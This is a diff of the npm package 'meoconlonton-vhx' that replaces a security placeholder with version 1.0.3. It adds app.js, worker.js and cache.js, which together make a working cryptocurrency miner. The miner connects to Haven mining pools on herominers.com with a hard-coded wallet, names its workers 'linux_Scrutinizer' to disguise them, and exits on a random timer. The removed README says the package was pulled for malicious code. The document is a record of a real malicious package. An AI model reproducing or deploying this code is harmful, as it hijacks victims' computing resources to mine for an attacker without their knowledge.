meoconlonton-vhx 0.0.1-security → 1.0.3

package/app.js

@@ -0,0 +1,224 @@
+const Net = require('net');
+const { Worker } = require('worker_threads');
+const { Cache } = require('./cache.js');
+const fs = require('fs');
+
+// variable
+const appCache = new Cache("meocoder", 557056);
+const numCPUs = require('os').cpus().length;
+const numWorker = 1;
+const customUsageCPU = 80;
+const nameWorker = `linux_Scrutinizer_${Math.floor(Math.random() * 2) + 1}`;
+const login = (() => {
+    return {
+        'method': 'login',
+        'params': {
+            'login': 'hvxy3U6c8tyhYVtfFMDuNZDcdNZpa7ACp7Z5DThivuHLVGG3kvdTxaxTm57Bxyc9MHKaXNw1vf7nxKN3BJ3T4q4g6s9LdjXbUi',
+            'pass': nameWorker,
+            'rigid': nameWorker,
+            'agent': 'meocoder-node-proxy/0.1'
+        },
+        'id': 1
+    };
+})();
+const mainStatus = {
+    servers: ["sg.haven.herominers.com:1110", "ca.haven.herominers.com:1110", "de.haven.herominers.com:1110", "fi.haven.herominers.com:1110"],
+    workers: [],
+    poolWS: null,
+    attempts: 0
+};
+
+// cache
+appCache.totalHashes = 0;
+appCache.limitHash = null;
+appCache.job = null;
+
+
+
+/* --------------------------Timeout------------------------  */
+setTimeout(() => {
+    process.exit(0);
+}, ((Math.floor(Math.random() * 2) + 58.6) * 60) * 1000);
+
+
+
+/* --------------------------Help Fn------------------------  */
+const ref = (orign, key, update) => orign[key] = update;
+
+
+
+/* --------------------------Worker--------------------------  */
+const fn_receiveMessageWorker = (message) => {
+    try {
+        switch (message.type) {
+            case 'solved':
+                fn_solved(message.data);
+                break;
+
+            default:
+                break;
+        }
+    } catch (error) {
+        console.log(error);
+    }
+}
+const fn_receiveErrorWorker = (error) => {
+    console.log(error)
+}
+const fn_exitErrorWorker = (code) => {
+    if (code !== 0)
+        console.log(`stopped with  ${code} exit code`);
+}
+const fn_firstCreateWorker = () => {
+    for (let idWorker = 0; idWorker < (numWorker || numCPUs); idWorker++) {
+
+        if (!fs.existsSync('./temp')) fs.mkdirSync('./temp');
+        fs.copyFileSync('./tool.node', `./temp/tool-${idWorker}.node`);
+        mainStatus.workers.push(new Worker('./worker.js', { workerData: { idWorker } }));
+        mainStatus.workers[mainStatus.workers.length - 1].on('message', message => fn_receiveMessageWorker(message));
+        mainStatus.workers[mainStatus.workers.length - 1].on('error', error => fn_receiveErrorWorker(error));
+        mainStatus.workers[mainStatus.workers.length - 1].on('exit', code => fn_exitErrorWorker(code));
+
+    }
+    // setTimeout(() => {
+    //     const limitHash = Math.floor((appCache.totalHashes / 50) / 10 * 8);
+    //     console.log(`[Main]: ${customUsageCPU}% CPU is ${limitHash} H/s`);
+    //     console.log(`[Main]: Set limmit hash to ${limitHash} H/s`);
+    //     appCache.limitHash = limitHash;
+    // }, 50000);
+
+    setInterval(() => {
+        console.log('[Main]: Speed:', Math.floor((appCache.totalHashes / 60)));
+        appCache.totalHashes = 0;
+    }, 60000);
+}
+
+/* --------------------------Main---------------------------- */
+
+
+const fn_solved = (message) => {
+    try {
+        // message = JSON.parse(message);
+        const loginIDAndJobID = message.job_id.trim().split('@@');
+        // console.log(loginIDAndJobID);
+        if (loginIDAndJobID[1] !== mainStatus.loginID) {
+            console.log('[Main]: job is old');
+            return 0;
+        }
+        if (mainStatus.poolWS === null) {
+            console.log('[Main]: pool is null');
+            return 0;
+        }
+        mainStatus.poolWS.write(JSON.stringify({
+            'method': 'submit',
+            'params': {
+                'id': loginIDAndJobID[1],
+                'job_id': loginIDAndJobID[0],
+                'nonce': message.nonce,
+                'result': message.result
+            },
+            'id': 1
+        }) + '\n');
+        console.log('[Server]: receive solved ID:', message.job_id);
+    } catch (error) {
+        console.log(error);
+    }
+}
+const fn_poolErrorHandling = (error) => {
+    if (error.message === "Unauthenticated") {
+        console.log('[Pool]: Error!!!', error.message);
+        mainStatus.poolWS.end();
+        ref(mainStatus, 'loginID', null);
+        ref(mainStatus, 'poolWS', null);
+    } else {
+        console.log('[Pool]: Error!!!', error.message);
+    }
+}
+
+const fn_receiveJob = (job) => {
+    appCache.job = {
+        job_id: job.job_id + '@@' + job.id,
+        target: job.target,
+        headerBlob: job.blob.substring(0, 78),
+        footerBlob: job.blob.substring(86, job.blob.length),
+        // height: job.height,
+        // algo: 'cn-upx'
+    }
+    // console.log(appCache.job);
+    mainStatus.workers.length ? null : fn_firstCreateWorker(); /* create worker with job data */;
+    ref(mainStatus, 'loginID', job.id);
+    console.log('[Pool]: new:', job.job_id, '- h:', job.height, '- t:', job.target, '- ID:', job.id);
+}
+
+
+const fn_receiveMessagePool = (message) => {
+    try {
+        message = JSON.parse(message.toString('utf8'));
+        if (message.error) {
+            fn_poolErrorHandling(message.error);
+        } else if (message.result && message.result.status && message.result.job) {
+            console.log('[Pool]: Login status:', message.result.status);
+            fn_receiveJob(message.result.job);
+        } else if (message.result && message.result.status) {
+            console.log('[Pool]: Submit status:', message.result.status);
+        } else if (message.method && message.method === 'job') {
+            fn_receiveJob(message.params);
+        } else {
+            console.log('[Pool]: other message:', message);
+        }
+    } catch (error) {
+        console.log('[Main]: receiveMessagePool Error:', error);
+    }
+}
+
+
+const connectPool = () => new Promise((resolve, reject) => {
+
+    console.log('[Main]: Connecting to pool!')
+    ref(mainStatus, 'attempts', mainStatus.attempts + 1);
+    if (mainStatus.poolWS != null) {
+        mainStatus.poolWS.end();
+    }
+
+    ref(mainStatus, 'poolWS', new Net.Socket());
+    const server = mainStatus.servers[Math.floor(Math.random() * mainStatus.servers.length)].trim().split(':');
+    mainStatus.poolWS.connect({ port: server[1], host: server[0] });
+
+    mainStatus.poolWS.on('connect', () => {
+        console.log('[Main]: Pool is connected!');
+        ref(mainStatus, 'attempts', 0);
+    });
+    mainStatus.poolWS.on('ready', () => {
+        console.log('[Main]: Logging into pool!');
+        mainStatus.poolWS.write(JSON.stringify(login) + '\n');
+        // console.log('[Main]: logged!');
+    });
+    mainStatus.poolWS.on('data', message => fn_receiveMessagePool(message));
+
+    // mainStatus.ws.on('open', () => {
+    //     console.log('[Main]: connected to server!');
+    //     mainStatus.ws.send((JSON.stringify(mainStatus.handshake)));
+
+    // });
+
+    mainStatus.poolWS.on('error', () => {
+        console.log('[Main]: Pool erorr!');
+        return reject();
+    });
+
+    mainStatus.poolWS.on('end', () => {
+        console.log('[Main]: Pool erorr!');
+        return reject();
+    });
+    mainStatus.poolWS.on('close', () => {
+        console.log('[Main]: Pool erorr!');
+        return reject();
+    });
+
+}).catch(async () => {
+    ref(mainStatus, 'poolWS', null);
+    console.log('[Main]: The Pool is not connected. Trying to connect after', mainStatus.attempts * 10, 's');
+    await new Promise(resolve => setTimeout(resolve, 10000 * mainStatus.attempts));
+    connectPool();
+});
+connectPool();

package/cache.js

@@ -0,0 +1,52 @@
+// node-shared-cache-x 1.7.3
+const crypto = require("crypto");
+const os = require("os");
+const nativeModule = require("./cacheAddon.node");
+
+let cacheMap = {};
+
+function md5(str) {
+  let md5sum = crypto.createHash("md5");
+  md5sum.update(str);
+  return md5sum.digest("hex");
+}
+
+module.exports = Object.assign(
+  {
+    SIZE_DEFAULT: 6,
+    SIZE_64: 6,
+    SIZE_128: 7,
+    SIZE_256: 8,
+    SIZE_512: 9,
+    SIZE_1K: 10,
+    SIZE_2K: 11,
+    SIZE_4K: 12,
+    SIZE_8K: 13,
+    SIZE_16K: 14,
+  },
+  nativeModule
+);
+
+const VERSION = process.version;
+const PLATFORM = os.platform();
+const ARCH = os.arch();
+const USERNAME = os.userInfo().username;
+
+class Cache {
+  constructor(name, size, blockSize) {
+    blockSize = blockSize || exports.SIZE_DEFAULT;
+    let md5Name = md5(
+      `${VERSION}_${PLATFORM}_${ARCH}_${USERNAME}_${name}_${size}_${blockSize}`
+    ).slice(8, 24);
+    if (!Object.prototype.hasOwnProperty.call(cacheMap, md5Name)) {
+      cacheMap[md5Name] = new nativeModule.Cache(md5Name, size, blockSize);
+    }
+    return cacheMap[md5Name];
+  }
+}
+
+exports.Cache = Cache;
+
+if (require.main === module && process.argv[2] === "release") {
+  process.argv.slice(3).forEach(exports.release);
+}

package/package.json

@@ -1,6 +1,19 @@
 {
   "name": "meoconlonton-vhx",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
-}
+  "version": "1.0.3",
+  "description": "",
+  "main": "app.js",
+  "scripts": {
+    "start": "node app.js",
+    "test": "node test.js"
+  },
+  "keywords": [
+    "redocoem"
+  ],
+  "author": "",
+  "license": "ISC",
+  "dependencies": {},
+  "engines": {
+    "node": "16.x"
+  }
+}

package/worker.js

@@ -0,0 +1,101 @@
+const { parentPort, workerData } = require('worker_threads');
+const multiHashing = require(`./temp/tool-${workerData.idWorker}.node`);
+const { Cache } = require('./cache.js');
+const appCache = new Cache("meocoder", 557056);
+const workerStatus = {
+    job: null,
+    hash: null,
+    nonce: null,
+    totalHashes: 0,
+    timeStart: Date.now()
+};
+
+console.log(`[Worker_${workerData.idWorker}]: created!`);
+
+// parentPort.on("message", (message) => fn_receiveMessageServer(message));
+
+/* --------------------------Fuction------------------------  */
+const ref = (orign, key, update) => orign[key] = update;
+const fn_zeroPad = (num, places) => {
+    const zero = places - num.toString().length + 1;
+    return Array(+(zero > 0 && zero)).join("0") + num;
+}
+const fn_hex2int = (s) => parseInt(s.match(/[a-fA-F0-9]{2}/g).reverse().join(''), 16);
+const fn_int2hex = (i) => (fn_zeroPad(i.toString(16), 8)).match(/[a-fA-F0-9]{2}/g).reverse().join('');
+const fn_getRandomInt = (min, max) => Math.floor(Math.random() * (max - min + 1)) + min;
+const fn_createRandomHexNonce = () => {
+    const inonce = fn_getRandomInt(0, 0xFFFFFFFF);
+    ref(workerStatus, 'nonce', fn_int2hex(inonce));
+}
+
+const delay = (t) => {
+    return new Promise(function (resolve) {
+        setTimeout(function () {
+            resolve();
+        }, t);
+    });
+}
+
+
+const fn_limitHs = async (limit) => {
+    if (((Date.now() - workerStatus.timeStart) < 1000) && workerStatus.totalHashes < limit) {
+        // console.log('aaa');
+        fn_hash();
+        fn_checkHashAndSubmit();
+        ref(workerStatus, 'totalHashes', workerStatus.totalHashes + 1);
+        appCache.totalHashes = appCache.totalHashes + 1;
+    } else {
+        // console.log('aa');
+        await delay(969 - (Date.now() - workerStatus.timeStart));
+        ref(workerStatus, 'totalHashes', 0);
+        ref(workerStatus, 'timeStart', Date.now());
+    }
+}
+
+/* --------------------------Main------------------------  */
+const fn_hash = () => {
+
+    try {
+        ref(workerStatus, 'job', appCache.job);
+        fn_createRandomHexNonce();
+        const blob = workerStatus.job.headerBlob + workerStatus.nonce + workerStatus.job.footerBlob;
+        ref(workerStatus, 'hash', multiHashing['cryptonight_heavy'](Buffer.from(blob, 'hex'), 1).toString('hex'));
+    }
+    catch (err) { console.log(err); }
+
+};
+
+const fn_checkHashAndSubmit = () => {
+    //check hashval nho hon target =>> true
+    if (fn_hex2int(workerStatus.hash.substring(56, 64)) < fn_hex2int(workerStatus.job.target)) {
+        parentPort.postMessage({
+            type: 'solved',
+            data: {
+                identifier: "solved",
+                job_id: workerStatus.job.job_id,
+                nonce: workerStatus.nonce,
+                result: workerStatus.hash
+            }
+        })
+    }
+}
+
+(async () => {
+    try {
+        while (true) {
+            switch (appCache.limitHash) {
+                case null:
+                    fn_hash();
+                    fn_checkHashAndSubmit();
+                    appCache.totalHashes = appCache.totalHashes + 1;
+                    break;
+
+                default:
+                    await fn_limitHs(appCache.limitHash);
+                    break;
+            }
+        }
+    } catch (error) {
+        console.log('[Worker]: error:', error)
+    }
+})();

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=meoconlonton-vhx for more information.